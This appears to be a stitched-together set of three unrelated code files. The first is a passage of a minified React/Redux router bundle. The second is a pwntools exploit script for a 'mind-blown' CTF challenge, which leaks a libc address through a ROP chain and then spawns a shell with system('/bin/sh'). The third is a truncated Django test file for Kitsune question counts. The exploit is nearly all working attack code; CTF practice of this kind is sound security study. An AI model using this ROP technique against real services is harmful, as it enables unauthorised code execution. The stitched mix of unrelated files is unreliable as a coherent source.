*/Object.defineProperty(t,"__esModule",{value:!0});var r="function"==typeof Symbol&&Symbol.for,o=r?Symbol.for("react.element"):60103,i=r?Symbol.for("react.portal"):60106,a=r?Symbol.for("react.fragment"):60107,u=r?Symbol.for("react.strict_mode"):60108,l=r?Symbol.for("react.profiler"):60114,c=r?Symbol.for("react.provider"):60109,s=r?Symbol.for("react.context"):60110,f=r?Symbol.for("react.async_mode"):60111,d=r?Symbol.for("react.concurrent_mode"):60111,p=r?Symbol.for("react.forward_ref"):60112,m=r?Symbol.for("react.suspense"):60113,h=r?Symbol.for("react.memo"):60115,y=r?Symbol.for("react.lazy"):60116;function v(e){if("object"==typeof e&&null!==e){var t=e.$$typeof;switch(t){case o:switch(e=e.type){case f:case d:case a:case l:case u:case m:return e;default:switch(e=e&&e.$$typeof){case s:case p:case c:return e;default:return t}}case y:case h:case i:return t}}}function g(e){return v(e)===d}t.typeOf=v,t.AsyncMode=f,t.ConcurrentMode=d,t.ContextConsumer=s,t.ContextProvider=c,t.Element=o,t.ForwardRef=p,t.Fragment=a,t.Lazy=y,t.Memo=h,t.Portal=i,t.Profiler=l,t.StrictMode=u,t.Suspense=m,t.isValidElementType=function(e){return"string"==typeof e||"function"==typeof e||e===a||e===d||e===l||e===u||e===m||"object"==typeof e&&null!==e&&(e.$$typeof===y||e.$$typeof===h||e.$$typeof===c||e.$$typeof===s||e.$$typeof===p)},t.isAsyncMode=function(e){return g(e)||v(e)===f},t.isConcurrentMode=g,t.isContextConsumer=function(e){return v(e)===s},t.isContextProvider=function(e){return v(e)===c},t.isElement=function(e){return"object"==typeof e&&null!==e&&e.$$typeof===o},t.isForwardRef=function(e){return v(e)===p},t.isFragment=function(e){return v(e)===a},t.isLazy=function(e){return v(e)===y},t.isMemo=function(e){return v(e)===h},t.isPortal=function(e){return v(e)===i},t.isProfiler=function(e){return v(e)===l},t.isStrictMode=function(e){return v(e)===u},t.isSuspense=function(e){return v(e)===m}},function(e,t,n){"use strict";n.r(t);var r=n(0),o=n.n(r),i=n(1),a=n.n(i);var u=o.a.createContext(null);var l=function(e){e()},c=function(){return l},s=null,f={notify:function(){}};var d=function(){function e(e,t){this.store=e,this.parentSub=t,this.unsubscribe=null,this.listeners=f,this.handleChangeWrapper=this.handleChangeWrapper.bind(this)}var t=e.prototype;return t.addNestedSub=function(e){return this.trySubscribe(),this.listeners.subscribe(e)},t.notifyNestedSubs=function(){this.listeners.notify()},t.handleChangeWrapper=function(){this.onStateChange&&this.onStateChange()},t.isSubscribed=function(){return Boolean(this.unsubscribe)},t.trySubscribe=function(){var e,t,n;this.unsubscribe||(this.unsubscribe=this.parentSub?this.parentSub.addNestedSub(this.handleChangeWrapper):this.store.subscribe(this.handleChangeWrapper),this.listeners=(e=c(),t=[],n=[],{clear:function(){n=s,t=s},notify:function(){var r=t=n;e((function(){for(var e=0;e<r.length;e++)r[e]()}))},get:function(){return n},subscribe:function(e){var r=!0;return n===t&&(n=t.slice()),n.push(e),function(){r&&t!==s&&(r=!1,n===t&&(n=t.slice()),n.splice(n.indexOf(e),1))}}}))},t.tryUnsubscribe=function(){this.unsubscribe&&(this.unsubscribe(),this.unsubscribe=null,this.listeners.clear(),this.listeners=f)},e}(),p=function(e){var t,n;function r(t){var n;n=e.call(this,t)||this;var r=t.store;n.notifySubscribers=n.notifySubscribers.bind(function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(n));var o=new d(r);return o.onStateChange=n.notifySubscribers,n.state={store:r,subscription:o},n.previousState=r.getState(),n}n=e,(t=r).prototype=Object.create(n.prototype),t.prototype.constructor=t,t.__proto__=n;var i=r.prototype;return i.componentDidMount=function(){this._isMounted=!0,this.state.subscription.trySubscribe(),this.previousState!==this.props.store.getState()&&this.state.subscription.notifyNestedSubs()},i.componentWillUnmount=function(){this.unsubscribe&&this.unsubscribe(),this.state.subscription.tryUnsubscribe(),this._isMounted=!1},i.componentDidUpdate=function(e){if(this.props.store!==e.store){this.state.subscription.tryUnsubscribe();var t=new d(this.props.store);t.onStateChange=this.notifySubscribers,this.setState({store:this.props.store,subscription:t})}},i.notifySubscribers=function(){this.state.subscription.notifyNestedSubs()},i.render=function(){var e=this.props.context||u;return o.a.createElement(e.Provider,{value:this.state},this.props.children)},r}(r.Component);p.propTypes={store:a.a.shape({subscribe:a.a.func.isRequired,dispatch:a.a.func.isRequired,getState:a.a.func.isRequired}),context:a.a.object,children:a.a.any};function m(){return(m=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}function h(e,t){if(null==e)return{};var n,r,o={},i=Object.keys(e);for(r=0;r<i.length;r++)n=i[r],t.indexOf(n)>=0||(o[n]=e[n]);return o}var y=n(3),v=n.n(y),g=n(2),b=n.n(g),w=n(9),x=[],S=[null,null];function k(e,t){var n=e[1];return[t.payload,n+1]}var T=function(){return[null,0]},C="undefined"!=typeof window&&void 0!==window.document&&void 0!==window.document.createElement?r.useLayoutEffect:r.useEffect;function _(e,t){void 0===t&&(t={});var n=t,i=n.getDisplayName,a=void 0===i?function(e){return"ConnectAdvanced("+e+")"}:i,l=n.methodName,c=void 0===l?"connectAdvanced":l,s=n.renderCountProp,f=void 0===s?void 0:s,p=n.shouldHandleStateChanges,y=void 0===p||p,g=n.storeKey,_=void 0===g?"store":g,E=n.withRef,P=void 0!==E&&E,O=n.forwardRef,N=void 0!==O&&O,R=n.context,M=void 0===R?u:R,j=h(n,["getDisplayName","methodName","renderCountProp","shouldHandleStateChanges","storeKey","withRef","forwardRef","context"]);b()(void 0===f,"renderCountProp is removed. render counting is built into the latest React Dev Tools profiling extension"),b()(!P,"withRef is removed. To access the wrapped instance, use a ref on the connected component");b()("store"===_,"storeKey has been removed and does not do anything. To use a custom Redux store for specific components, create a custom React context with React.createContext(), and pass the context object to React Redux's Provider and specific components like: <Provider context={MyContext}><ConnectedComponent context={MyContext} /></Provider>. You may also pass a {context : MyContext} option to connect");var D=M;return function(t){var n=t.displayName||t.name||"Component",i=a(n),u=m({},j,{getDisplayName:a,methodName:c,renderCountProp:f,shouldHandleStateChanges:y,storeKey:_,displayName:i,wrappedComponentName:n,WrappedComponent:t}),l=j.pure;var s=l?r.useMemo:function(e){return e()};function p(n){var a=Object(r.useMemo)((function(){var e=n.forwardedRef,t=h(n,["forwardedRef"]);return[n.context,e,t]}),[n]),l=a[0],c=a[1],f=a[2],p=Object(r.useMemo)((function(){return l&&l.Consumer&&Object(w.isContextConsumer)(o.a.createElement(l.Consumer,null))?l:D}),[l,D]),v=Object(r.useContext)(p),g=Boolean(n.store),_=Boolean(v)&&Boolean(v.store);b()(g||_,'Could not find "store" in the context of "'+i+'". Either wrap the root component in a <Provider>, or pass a custom React context provider to <Provider> and the corresponding React context consumer to '+i+" in connect options.");var E=n.store||v.store,P=Object(r.useMemo)((function(){return function(t){return e(t.dispatch,u)}(E)}),[E]),O=Object(r.useMemo)((function(){if(!y)return S;var e=new d(E,g?null:v.subscription),t=e.notifyNestedSubs.bind(e);return[e,t]}),[E,g,v]),N=O[0],R=O[1],M=Object(r.useMemo)((function(){return g?v:m({},v,{subscription:N})}),[g,v,N]),j=Object(r.useReducer)(k,x,T),U=j[0][0],I=j[1];if(U&&U.error)throw U.error;var A=Object(r.useRef)(),F=Object(r.useRef)(f),z=Object(r.useRef)(),L=Object(r.useRef)(!1),$=s((function(){return z.current&&f===F.current?z.current:P(E.getState(),f)}),[E,U,f]);C((function(){F.current=f,A.current=$,L.current=!1,z.current&&(z.current=null,R())})),C((function(){if(y){var e=!1,t=null,n=function(){if(!e){var n,r,o=E.getState();try{n=P(o,F.current)}catch(e){r=e,t=e}r||(t=null),n===A.current?L.current||R():(A.current=n,z.current=n,L.current=!0,I({type:"STORE_UPDATED",payload:{latestStoreState:o,error:r}}))}};N.onStateChange=n,N.trySubscribe(),n();return function(){if(e=!0,N.tryUnsubscribe(),t)throw t}}}),[E,N,P]);var W=Object(r.useMemo)((function(){return o.a.createElement(t,m({},$,{ref:c}))}),[c,t,$]);return Object(r.useMemo)((function(){return y?o.a.createElement(p.Provider,{value:M},W):W}),[p,W,M])}var g=l?o.a.memo(p):p;if(g.WrappedComponent=t,g.displayName=i,N){var E=o.a.forwardRef((function(e,t){return o.a.createElement(g,m({},e,{forwardedRef:t}))}));return E.displayName=i,E.WrappedComponent=t,v()(E,t)}return v()(g,t)}}var E=Object.prototype.hasOwnProperty;function P(e,t){return e===t?0!==e||0!==t||1/e==1/t:e!=e&&t!=t}function O(e,t){if(P(e,t))return!0;if("object"!=typeof e||null===e||"object"!=typeof t||null===t)return!1;var n=Object.keys(e),r=Object.keys(t);if(n.length!==r.length)return!1;for(var o=0;o<n.length;o++)if(!E.call(t,n[o])||!P(e[n[o]],t[n[o]]))return!1;return!0}n(5);var N=function(){return Math.random().toString(36).substring(7).split("").join(".")};N(),N();function R(e,t){return function(){return t(e.apply(this,arguments))}}function M(e){return function(t,n){var r=e(t,n);function o(){return r}return o.dependsOnOwnProps=!1,o}}function j(e){return null!==e.dependsOnOwnProps&&void 0!==e.dependsOnOwnProps?Boolean(e.dependsOnOwnProps):1!==e.length}function D(e,t){return function(t,n){n.displayName;var r=function(e,t){return r.dependsOnOwnProps?r.mapToProps(e,t):r.mapToProps(e)};return r.dependsOnOwnProps=!0,r.mapToProps=function(t,n){r.mapToProps=e,r.dependsOnOwnProps=j(e);var o=r(t,n);return"function"==typeof o&&(r.mapToProps=o,r.dependsOnOwnProps=j(o),o=r(t,n)),o},r}}var U=[function(e){return"function"==typeof e?D(e):void 0},function(e){return e?void 0:M((function(e){return{dispatch:e}}))},function(e){return e&&"object"==typeof e?M((function(t){return function(e,t){if("function"==typeof e)return R(e,t);if("object"!=typeof e||null===e)throw new Error("bindActionCreators expected an object or a function, instead received "+(null===e?"null":typeof e)+'. Did you write "import ActionCreators from" instead of "import * as ActionCreators from"?');for(var n=Object.keys(e),r={},o=0;o<n.length;o++){var i=n[o],a=e[i];"function"==typeof a&&(r[i]=R(a,t))}return r}(e,t)})):void 0}];var I=[function(e){return"function"==typeof e?D(e):void 0},function(e){return e?void 0:M((function(){return{}}))}];function A(e,t,n){return m({},n,e,t)}var F=[function(e){return"function"==typeof e?function(e){return function(t,n){n.displayName;var r,o=n.pure,i=n.areMergedPropsEqual,a=!1;return function(t,n,u){var l=e(t,n,u);return a?o&&i(l,r)||(r=l):(a=!0,r=l),r}}}(e):void 0},function(e){return e?void 0:function(){return A}}];function z(e,t,n,r){return function(o,i){return n(e(o,i),t(r,i),i)}}function L(e,t,n,r,o){var i,a,u,l,c,s=o.areStatesEqual,f=o.areOwnPropsEqual,d=o.areStatePropsEqual,p=!1;function m(o,p){var m,h,y=!f(p,a),v=!s(o,i);return i=o,a=p,y&&v?(u=e(i,a),t.dependsOnOwnProps&&(l=t(r,a)),c=n(u,l,a)):y?(e.dependsOnOwnProps&&(u=e(i,a)),t.dependsOnOwnProps&&(l=t(r,a)),c=n(u,l,a)):v?(m=e(i,a),h=!d(m,u),u=m,h&&(c=n(u,l,a)),c):c}return function(o,s){return p?m(o,s):(u=e(i=o,a=s),l=t(r,a),c=n(u,l,a),p=!0,c)}}function $(e,t){var n=t.initMapStateToProps,r=t.initMapDispatchToProps,o=t.initMergeProps,i=h(t,["initMapStateToProps","initMapDispatchToProps","initMergeProps"]),a=n(e,i),u=r(e,i),l=o(e,i);return(i.pure?L:z)(a,u,l,e,i)}function W(e,t,n){for(var r=t.length-1;r>=0;r--){var o=t[r](e);if(o)return o}return function(t,r){throw new Error("Invalid value of type "+typeof e+" for "+n+" argument when connecting component "+r.wrappedComponentName+".")}}function V(e,t){return e===t}var B,H,q,Q,K,Y,X,G,J,Z,ee,te,ne=(q=(H=void 0===B?{}:B).connectHOC,Q=void 0===q?_:q,K=H.mapStateToPropsFactories,Y=void 0===K?I:K,X=H.mapDispatchToPropsFactories,G=void 0===X?U:X,J=H.mergePropsFactories,Z=void 0===J?F:J,ee=H.selectorFactory,te=void 0===ee?$:ee,function(e,t,n,r){void 0===r&&(r={});var o=r,i=o.pure,a=void 0===i||i,u=o.areStatesEqual,l=void 0===u?V:u,c=o.areOwnPropsEqual,s=void 0===c?O:c,f=o.areStatePropsEqual,d=void 0===f?O:f,p=o.areMergedPropsEqual,y=void 0===p?O:p,v=h(o,["pure","areStatesEqual","areOwnPropsEqual","areStatePropsEqual","areMergedPropsEqual"]),g=W(e,Y,"mapStateToProps"),b=W(t,G,"mapDispatchToProps"),w=W(n,Z,"mergeProps");return Q(te,m({methodName:"connect",getDisplayName:function(e){return"Connect("+e+")"},shouldHandleStateChanges:Boolean(e),initMapStateToProps:g,initMapDispatchToProps:b,initMergeProps:w,pure:a,areStatesEqual:l,areOwnPropsEqual:s,areStatePropsEqual:d,areMergedPropsEqual:y},v))});"undefined"!=typeof window?r.useLayoutEffect:r.useEffect;var re,oe=n(8);re=oe.unstable_batchedUpdates,l=re;var ie=n(11),ae=n.n(ie);function ue(e,t){e.prototype=Object.create(t.prototype),e.prototype.constructor=e,e.__proto__=t}function le(){return(Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}function ce(e){return"/"===e.charAt(0)}function se(e,t){for(var n=t,r=n+1,o=e.length;r<o;n+=1,r+=1)e[n]=e[r];e.pop()}var fe=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"",n=e&&e.split("/")||[],r=t&&t.split("/")||[],o=e&&ce(e),i=t&&ce(t),a=o||i;if(e&&ce(e)?r=n:n.length&&(r.pop(),r=r.concat(n)),!r.length)return"/";var u=void 0;if(r.length){var l=r[r.length-1];u="."===l||".."===l||""===l}else u=!1;for(var c=0,s=r.length;s>=0;s--){var f=r[s];"."===f?se(r,s):".."===f?(se(r,s),c++):c&&(se(r,s),c--)}if(!a)for(;c--;c)r.unshift("..");!a||""===r[0]||r[0]&&ce(r[0])||r.unshift("");var d=r.join("/");return u&&"/"!==d.substr(-1)&&(d+="/"),d};"function"==typeof Symbol&&Symbol.iterator;var de=!0,pe="Invariant failed";var me=function(e,t){if(!e)throw de?new Error(pe):new Error(pe+": "+(t||""))};function he(e){var t=e.pathname,n=e.search,r=e.hash,o=t||"/";return n&&"?"!==n&&("?"===n.charAt(0)?n:"?"+n),r&&"#"!==r&&("#"===r.charAt(0)?r:"#"+r),o}function ye(e,t,n,r){var o;"string"==typeof e?(function(e){var t=e||"/",n="",r="",o=t.indexOf("#");-1!==o&&(t.substr(o),t.substr(0,o));var i=t.indexOf("?");return-1!==i&&(t.substr(i),t.substr(0,i)),{pathname:t,search:"?"===n?"":n,hash:"#"===r?"":r}}(e)).state=t:(void 0===le({},e).pathname&&(o.pathname=""),o.search?"?"!==o.search.charAt(0)&&(o.search="?"+o.search):o.search="",o.hash?"#"!==o.hash.charAt(0)&&(o.hash="#"+o.hash):o.hash="",void 0!==t&&void 0===o.state&&(o.state=t));try{o.pathname=decodeURI(o.pathname)}catch(e){throw e instanceof URIError?new URIError('Pathname "'+o.pathname+'" could not be decoded. This is likely caused by an invalid percent-encoding.'):e}return n&&(o.key=n),r?o.pathname?"/"!==o.pathname.charAt(0)&&(o.pathname=fe(o.pathname,r.pathname)):o.pathname=r.pathname:o.pathname||(o.pathname="/"),o}function ve(){var e=null;var t=[];return{setPrompt:function(t){return t,function(){e===t&&null}},confirmTransitionTo:function(t,n,r,o){if(null!=e){var i="function"==typeof e?e(t,n):e;"string"==typeof i?"function"==typeof r?r(i,o):o(!0):o(!1!==i)}else o(!0)},appendListener:function(e){var n=!0;function r(){n&&e.apply(void 0,arguments)}return t.push(r),function(){!1,t.filter((function(e){return e!==r}))}},notifyListeners:function(){for(var e=arguments.length,n=new Array(e),r=0;r<e;r++)n[r]=arguments[r];t.forEach((function(e){return e.apply(void 0,n)}))}}}"undefined"==typeof window||!window.document||window.document.createElement;function ge(e,t,n){return Math.min(Math.max(e,t),n)}var be=n(6),we=n.n(be);n(28);function xe(e,t){if(null==e)return{};var n,r,o={},i=Object.keys(e);for(0;r<i.length;r++)i[r],t.indexOf(n)>=0||(o[n]=e[n]);return o}var Se=function(e){var t=ae()();return t.Provider.displayName=e+".Provider",t.Consumer.displayName=e+".Consumer",t}("Router"),ke=function(e){function t(t){var n;return(n=e.call(this,t)||this).state={location:t.history.location},n._isMounted=!1,n._pendingLocation=null,t.staticContext||(n.unlisten=t.history.listen((function(e){n._isMounted?n.setState({location:e}):n._pendingLocation=e}))),n}ue(t,e),t.computeRootMatch=function(e){return{path:"/",url:"/",params:{},isExact:"/"===e}};var n=t.prototype;return n.componentDidMount=function(){this._isMounted=!0,this._pendingLocation&&this.setState({location:this._pendingLocation})},n.componentWillUnmount=function(){this.unlisten&&this.unlisten()},n.render=function(){return o.a.createElement(Se.Provider,{children:this.props.children||null,value:{history:this.props.history,location:this.state.location,match:t.computeRootMatch(this.state.location.pathname),staticContext:this.props.staticContext}})},t}(o.a.Component);o.a.Component;o.a.Component;var Te={},Ce=1e4,_e=0;function Ee(e,t){void 0===t&&(t={}),"string"==typeof t&&(t={path:t});var n=t,r=n.path,o=n.exact,i=void 0!==o&&o,a=n.strict,u=void 0!==a&&a,l=n.sensitive,c=void 0!==l&&l;return[].concat(r).reduce((function(t,n){if(t)return t;var r=function(e,t){var n=""+t.end+t.strict+t.sensitive,r=Te[n]||(Te[n]={});if(r[e])return r[e];var o=[],i={regexp:we()(e,o,t),keys:o};return _e<Ce&&(r[e]=i,_e++),i}(n,{end:i,strict:u,sensitive:c}),o=r.regexp,a=r.keys,l=o.exec(e);if(!l)return null;var s=l[0],f=l.slice(1),d=e===s;return i&&!d?null:{path:n,url:"/"===n&&""===s?"/":s,isExact:d,params:a.reduce((function(e,t,n){return e[t.name]=f[n],e}),{})}}),null)}o.a.Component;function Pe(e){return"/"===e.charAt(0)?e:"/"+e}function Oe(e,t){if(!e)return t;var n=Pe(e);return 0!==t.pathname.indexOf(n)?t:le({},t,{pathname:t.pathname.substr(n.length)})}function Ne(e){return"string"==typeof e?e:he(e)}function Re(e){return function(){me(!1)}}function Me(){}o.a.Component;o.a.Component;var je="@@router/LOCATION_CHANGE",De=function(e,t){var n=arguments.length>2&&void 0!==arguments[2]&&arguments[2];return{type:je,payload:{location:e,action:t,isFirstRendering:n}}},Ue=function(e){return function(){for(var t=arguments.length,n=new Array(t),r=0;r<t;r++)n[r]=arguments[r];return{type:"@@router/CALL_HISTORY_METHOD",payload:{method:e,args:n}}}},Ie=Ue("push"),Ae=Ue("replace"),Fe=Ue("go"),ze=Ue("goBack"),Le=Ue("goForward"),$e={push:Ie,replace:Ae,go:Fe,goBack:ze,goForward:Le};function We(e){return(We="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}var Ve=function(e){var t=e.getIn,n=e.toJS,r=function(e){var r,o=n(t(e,["router"]));if(null==(r=o)||"object"!==We(r)||!t(r,["location"])||!t(r,["action"]))throw'Could not find router reducer in state tree, it must be mounted under "router"';return o},o=function(e){return n(t(r(e),["location"]))};return{getLocation:o,getAction:function(e){return n(t(r(e),["action"]))},getRouter:r,getSearch:function(e){return n(t(r(e),["location","search"]))},getHash:function(e){return n(t(r(e),["location","hash"]))},createMatchSelector:function(e){var t=null,n=null;return function(r){var i=(o(r)||{}).pathname;if(i===t)return n;t=i;var a=Ee(i,e);return a&&n&&a.url===n.url||(n=a),n}}}};function Be(e){return(Be="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function He(){return(He=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}function qe(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function Qe(e,t){return!t||"object"!==Be(t)&&"function"!=typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e):t}function Ke(e){return(Ke=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function Ye(e,t){return(Ye=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}var Xe=function(e){var t=Ve(e).getLocation,n=function(e){function n(e){var r;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,n),r=Qe(this,Ke(n).call(this,e));var o=e.store,i=e.history,a=e.onLocationChanged;r.inTimeTravelling=!1,r.unsubscribe=o.subscribe((function(){var n=t(o.getState()),a=n.pathname,u=n.search,l=n.hash,c=n.state,s=i.location,f=s.pathname,d=s.search,p=s.hash,m=s.state;"PUSH"!==e.history.action||f===a&&d===u&&p===l&&c===m||(r.inTimeTravelling=!0,i.push({pathname:a,search:u,hash:l,state:c}))}));var u=function(e,t){var n=arguments.length>2&&void 0!==arguments[2]&&arguments[2];r.inTimeTravelling?r.inTimeTravelling=!1:a(e,t,n)};return r.unlisten=i.listen(u),u(i.location,i.action,!0),r}var r,i,a;return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&Ye(e,t)}(n,e),r=n,(i=[{key:"componentWillUnmount",value:function(){this.unlisten(),this.unsubscribe()}},{key:"render",value:function(){var e=this.props,t=e.history,n=e.children;return o.a.createElement(ke,{history:t},n)}}])&&qe(r.prototype,i),a&&qe(r,a),n}(r.PureComponent);n.propTypes={store:a.a.shape({getState:a.a.func.isRequired,subscribe:a.a.func.isRequired}).isRequired,history:a.a.shape({action:a.a.string.isRequired,listen:a.a.func.isRequired,location:a.a.object.isRequired,push:a.a.func.isRequired}).isRequired,basename:a.a.string,children:a.a.oneOfType([a.a.func,a.a.node]),onLocationChanged:a.a.func.isRequired};var i=function(e){var t=e.context||u;if(null==t)throw"Please upgrade to react-redux v6";return o.a.createElement(t.Consumer,null,(function(t){var r=t.store;return o.a.createElement(n,He({store:r},e))}))};return i.propTypes={context:a.a.object},ne(null,(function(e){return{onLocationChanged:function(t,n,r){return e(De(t,n,r))}}}))(i)};function Ge(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=[],r=!0,o=!1,i=void 0;try{for(var a,u=e[Symbol.iterator]();!(r=(a=u.next()).done)&&(n.push(a.value),!t||n.length!==t);r=!0);}catch(e){o=!0,i=e}finally{try{r||null==u.return||u.return()}finally{if(o)throw i}}return n}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance")}()}function Je(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{},r=Object.keys(n);"function"==typeof Object.getOwnPropertySymbols&&(r=r.concat(Object.getOwnPropertySymbols(n).filter((function(e){return Object.getOwnPropertyDescriptor(n,e).enumerable})))),r.forEach((function(t){Ze(e,t,n[t])}))}return e}function Ze(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var et=function(e){var t=e&&e.search;if("string"!=typeof t||0===t.length)return Je({},e,{query:{}});var n=t.substring(1).split("&").reduce((function(e,t){var n=Ge(t.split("="),2);return Je({},e,Ze({},n[0],n[1]))}),{});return Je({},e,{query:n})},tt=function(e){var t=e.fromJS,n=e.merge;return function(e){var r=t({location:et(e.location),action:e.action});return function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:r,o=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},i=o.type,a=o.payload;if(i===je){var u=a.location,l=a.action,c=a.isFirstRendering;return c?e:n(e,{location:t(et(u)),action:l})}return e}}};function nt(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var rt={fromJS:function(e){return e},getIn:function(e,t){if(!e)return e;var n=t.length;if(n){for(var r=e,o=0;o<n&&r;++o)r=r[t[o]];return r}},merge:function(e,t){return function(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{},r=Object.keys(n);"function"==typeof Object.getOwnPropertySymbols&&(r=r.concat(Object.getOwnPropertySymbols(n).filter((function(e){return Object.getOwnPropertyDescriptor(n,e).enumerable})))),r.forEach((function(t){nt(e,t,n[t])}))}return e}({},e,t)},toJS:function(e){return e}};function ot(e){return function(e){if(Array.isArray(e)){for(var t=0,n=new Array(e.length);t<e.length;t++)n[t]=e[t];return n}}(e)||function(e){if(Symbol.iterator in Object(e)||"[object Arguments]"===Object.prototype.toString.call(e))return Array.from(e)}(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance")}()}var it=function(e){return function(t){return function(t){return function(n){if("@@router/CALL_HISTORY_METHOD"!==n.type)return t(n);var r=n.payload,o=r.method,i=r.args;e[o].apply(e,ot(i))}}}};n.d(t,"ConnectedRouter",(function(){return at})),n.d(t,"connectRouter",(function(){return ut})),n.d(t,"getLocation",(function(){return ct})),n.d(t,"getAction",(function(){return st})),n.d(t,"getHash",(function(){return ft})),n.d(t,"getSearch",(function(){return dt})),n.d(t,"createMatchSelector",(function(){return pt})),n.d(t,"LOCATION_CHANGE",(function(){return je})),n.d(t,"CALL_HISTORY_METHOD",(function(){return"@@router/CALL_HISTORY_METHOD"})),n.d(t,"onLocationChanged",(function(){return De})),n.d(t,"push",(function(){return Ie})),n.d(t,"replace",(function(){return Ae})),n.d(t,"go",(function(){return Fe})),n.d(t,"goBack",(function(){return ze})),n.d(t,"goForward",(function(){return Le})),n.d(t,"routerActions",(function(){return $e})),n.d(t,"routerMiddleware",(function(){return it}));var at=Xe(rt),ut=tt(rt),lt=Ve(rt),ct=lt.getLocation,st=lt.getAction,ft=lt.getHash,dt=lt.getSearch,pt=lt.createMatchSelector}])}));
|
#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./mind-blown')
#context.log_level = 'DEBUG'
if args.REMOTE:
p = remote('ctf2021.hackpack.club', 10996)
#libc = ELF('./libc-2.31.so')
else:
p = process(binary.path)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
pop_rdi = next(binary.search(asm('pop rdi; ret')))
payload = b''
payload += p64(pop_rdi)
payload += p64(binary.got.puts)
payload += p64(binary.plt.puts)
payload += p64(binary.sym.readProgramFromStdin)
payload += p64(binary.sym.runProgram)
loader = b''
loader += (0x1010 + 8) * b'>'
loader += len(payload) * b',>'
loader += b'\0'
p.sendlineafter('program: ',str(len(loader)))
p.sendafter('below:\n',loader)
p.send(payload)
_ = p.recv(6)
puts = u64(_ + b'\0\0')
libc.address = puts - libc.sym.puts
log.info('libc.address: ' + hex(libc.address))
time.sleep(.1)
# need to rewind pointer
loader = b''
loader += len(payload) * b'<'
payload = b''
payload += p64(pop_rdi)
payload += p64(libc.search(b"/bin/sh").__next__())
payload += p64(libc.sym.system)
loader += len(payload) * b',>'
loader += b'\0'
p.sendlineafter('program: ',str(len(loader)))
p.sendafter('below:\n',loader)
p.send(payload)
p.interactive()
|
from parameterized import parameterized
from kitsune.questions.models import Answer, Question
from kitsune.questions.tests import AnswerFactory, QuestionFactory
from kitsune.questions.utils import (
get_mobile_product_from_ua,
mark_content_as_spam,
num_answers,
num_questions,
num_solutions,
)
from kitsune.sumo.tests import TestCase
from kitsune.users.tests import UserFactory
class ContributionCountTestCase(TestCase):
def test_num_questions(self):
"""Answers are counted correctly on a user."""
u = UserFactory()
self.assertEqual(num_questions(u), 0)
q1 = QuestionFactory(creator=u)
self.assertEqual(num_questions(u), 1)
q2 = QuestionFactory(creator=u)
self.assertEqual(num_questions(u), 2)
q1.delete()
self.assertEqual(num_questions(u), 1)
q2.delete()
self.assertEqual(num_questions(u), 0)
def test_num_answers(self):
u = UserFactory()
q = QuestionFactory()
self.assertEqual(num_answers(u), 0)
a1 = AnswerFactory(creator=u, question=q)
self.assertEqual(num_answers(u), 1)
a2 = AnswerFactory(creator=u, question=q)
self.assertEqual(num_answers(u), 2)
a1.delete()
self.assertEqual(num_answers(u), 1)
a2.delete()
self.assertEqual(num_answers(u), 0)
def test_num_solutions(self):
u = UserFactory()
q1 = QuestionFactory()
q2 = QuestionFactory()
a1 = AnswerFactory(creator=u, question=q1)
a2 = AnswerFactory(creator=u, question=q2)
self.assertEqual(num_solutions(u), 0)
q1.solution = a1
q1.save()
self.assertEqual(num_solutions(u), 1)
q2.solution = a2
q2.save()
self.assertEqual(num_solutions(u), 2)
q1.solution = None
q1.save()
self.assertEqual(num_solutions(u), 1)
a2.delete()
self.assertEqual(num_solutions(u), 0)
class FlagUserContentAsSpamTestCase(TestCase):
def test_flag_content_as_spam(self):
# Create some questions and answers by the user.
u = UserFactory()
QuestionFactory(creator=u)
QuestionFactory(creator=u)
AnswerFactory(creator=u)
AnswerFactory(creator=u)
AnswerFactory(creator=u)
# Verify they are not marked as spam yet.
self.assertEqual(2, Question.objects.filter(is_spam=False, creator=u).count())
self.assertEqual(0, Question.objects.filter(is_spam=True, creator=u).count())
self.assertEqual(3, Answer.objects.filter(is_spam=False, creator=u).count())
self.assertEqual(0, Answer.objects.filter(is_spam=True, creator=u).count())
# Flag content as spam and verify it is updated.
mark_content_as_spam(u, UserFactory())
self.assertEqual(0, Question.objects.filter(is_spam=False, creator=u).count())
